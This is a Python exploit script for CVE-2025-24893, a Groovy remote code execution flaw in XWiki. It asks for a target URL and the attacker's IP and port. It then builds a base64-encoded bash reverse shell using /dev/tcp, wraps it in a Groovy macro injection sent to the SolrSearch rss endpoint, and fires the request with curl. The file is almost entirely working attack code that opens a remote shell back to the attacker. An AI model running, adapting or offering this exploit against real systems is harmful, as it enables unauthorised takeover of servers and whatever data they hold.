import base64
import urllib.parse
import subprocess
import time
from colorama import init, Fore, Style

# Initialize colorama
init(autoreset=True)


def banner():
    print(Fore.CYAN + r"""    
 
   _______      ________    ___   ___ ___  _____     ___  _  _   ___   ___ ____  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|   |__ \| || | / _ \ / _ \___ \ 
 | |     \ \  / /| |__ ______ ) | | | ) | | |__ ______ ) | || || (_) | (_) |__) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______/ /|__   _> _ < \__, |__ < 
 | |____   \  /  | |____    / /_| |_| / /_ ___) |    / /_   | || (_) |  / /___) |
  \_____|   \/   |______|  |____|\___/____|____/    |____|  |_| \___/  /_/|____/ 
                                                                                 
                                                                                 

""" + Fore.YELLOW + "           CVE-2025-24893 - XWiki Groovy RCE Exploit")
    print(Fore.YELLOW + "                   exploit by @dollarboysushil\n")


def send_curl_request(url):
    print(Fore.CYAN + "\n[+] Sending exploit via curl...\n")
    try:
        result = subprocess.run(
            ["curl", "-i", url],
            capture_output=True,
            text=True,
            timeout=10
        )

        if "200 OK" in result.stdout:
            print(Fore.GREEN +
                  "[+] Exploit delivered successfully! Check your listener.")
        else:
            print(
                Fore.RED + "[-] Exploit may not have succeeded (non-200 response).")

    except subprocess.TimeoutExpired:
        print(Fore.RED + "[-] Curl timed out!")
    except Exception as e:
        print(Fore.RED + "[-] Curl request failed:", e)


# Show banner
banner()

# Inputs
url = input(
    Fore.CYAN + "[?] Enter target URL (including http:// or https:// e.g http://10.10.10.18.10:8080): ")
ip = input(Fore.CYAN + "[?] Enter your IP address (for reverse shell): ")
port = input(Fore.CYAN + "[?] Enter the port number: ")

print(Fore.YELLOW + "\n[+] Crafting malicious reverse shell payload...")
time.sleep(1)

# Reverse shell payload
revshell = f"bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'"
base64_revshell = base64.b64encode(revshell.encode()).decode()

# Groovy payload
payload = (
    f"}}}}}}{{{{async async=false}}}}{{{{groovy}}}}"
    f"\"bash -c {{echo,{base64_revshell}}}|{{base64,-d}}|{{bash,-i}}\".execute()"
    f"{{{{/groovy}}}}{{{{/async}}}}"
)

# Encode payload (preserve some special chars)
encoded_payload = urllib.parse.quote(payload, safe="=,-,")

# Final URL
exploit = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={encoded_payload}"

# Show example
print(Fore.LIGHTBLACK_EX +
      "\n[+] Sample Format:\n    http://target/xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload>")

# Display exploit
print(Fore.MAGENTA + "\n[+] Final Exploit URL:\n" + Fore.WHITE + exploit)

# Send the curl request
time.sleep(1)
send_curl_request(exploit)

print(Fore.YELLOW +
      "\n[+] Done. Awaiting reverse shell connection on " + ip + ":" + port + " ...\n")